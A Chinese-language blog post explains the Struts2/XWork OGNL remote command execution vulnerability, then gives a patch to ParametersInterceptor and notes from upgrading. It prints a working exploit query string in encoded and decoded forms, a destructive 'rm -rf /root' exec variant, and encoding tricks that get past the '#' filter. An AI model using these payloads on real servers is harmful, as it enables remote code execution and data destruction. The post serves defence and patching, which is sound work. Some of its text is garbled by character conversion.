Struts2/WebWork高危漏洞(远程执行任意代码)

 exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。 
漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability 
相关介绍: 
http://www.exploit-db.com/exploits/14360/ 
http://sebug.net/exploit/19954/ 

Struts2的核心是使用的webwork框架,处理 action时经过调用底层的getter/setter方法来处理http的参数,它将每一个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当咱们提交一个http参数: 
Java代码 
?user.address.city=Bishkek&user['favoriteDrink']=kumys  

?user.address.city=Bishkek&user['favoriteDrink']=kumys 
ONGL将它转换为: 
Java代码 
action.getUser().getAddress().setCity("Bishkek")   
action.getUser().setFavoriteDrink("kumys")  

action.getUser().getAddress().setCity("Bishkek") 
action.getUser().setFavoriteDrink("kumys") 
这是经过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。 
为了防范篡改服务器端对象,XWork的ParametersInterceptor不容许参数名中出现“#”字符,但若是使用了Java的 unicode字符串表示\u0023,***者就能够绕过保护,修改保护Java方式执行的值: 
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意*** 
Java代码 
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1  

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 
转义后是这样: 
Java代码 
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1  

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 
OGNL处理时最终的结果就是Java代码 
java.lang.Runtime.getRuntime().exit(1);  

java.lang.Runtime.getRuntime().exit(1); 
相似的能够执行Java代码 
java.lang.Runtime.getRuntime().exec("rm –rf /root")  

java.lang.Runtime.getRuntime().exec("rm –rf /root"),只要有权限就能够删除任何一个目录。 


目前的解决方法以下:java

官方的出了补丁的,能够在 
http://svn.apache.org/viewvc?view=revision&revision=956389 
目前2.1.8的最新版本的,能够下载其中这个补丁修补, 
而若是你的版本是低于2.1.8的,能够去下载xwork-2.XX.JAR对应的源代码(原本想反编译JAR的,发现仍是找源代码好), 
而后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java 
在其中的acceptableName方法中调整以下: 
protected boolean acceptableName(String name) { 
       boolean foundMatch=false;   
        foundMatch = name.contains("\\u0023");   
        if(foundMatch){   
            return false;   
        } 
        if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1 
                || name.indexOf(':') != -1 || isExcluded(name)) { 
            return false; 
        } else { 
            return true; 
        } 
        
    }web

注:还有其余编码能够绕过,仅仅控制了\u0023,是个悲剧。通过实际测试,发现#号的8进制编码\43,也是在这里使用的,而且\043也是能够的。spring

因为个人xwork版本是2.0.4网上找不到源码了,而使用其余的版本有些问题;情急之下对struts2进行了升级处理:apache

升级后
升级前
spring-core-2.5.6.jar
struts2-core-2.0.11.1.jar
struts2-spring-plugin-2.2.3.1.jar
struts2-spring-plugin-2.0.11.1.jar
xwork-core-2.2.3.1.jar
xwork-2.0.4.jar
commons-io-2.0.1.jar
commons-io-1.3.2.jar
commons-fileupload-1.2.2.jar
commons-fileupload.jar
commons-lang-2.5.jar
 
ognl-3.0.1.jar
ognl-2.6.11.jar
commons-logging-1.1.1.jar
commons-logging-1.0.4.jar

在升级的过程当中遇到个2.0到2.5的不一样:数组

分页使用的pagesize升级前为了灵活在页面中也能够指定pagesize的值,形成页面有两个pagesize input参数服务器

2.0对一个驱动模型里int型参数,若是页面上有多个同名input参数只取前一个,而2.5中是拿两个pagesize数组来填充模型里的int型pagesize值,struts报input错误框架

  • Invalid field value for field "pageSize".
相关文章
相关标签/搜索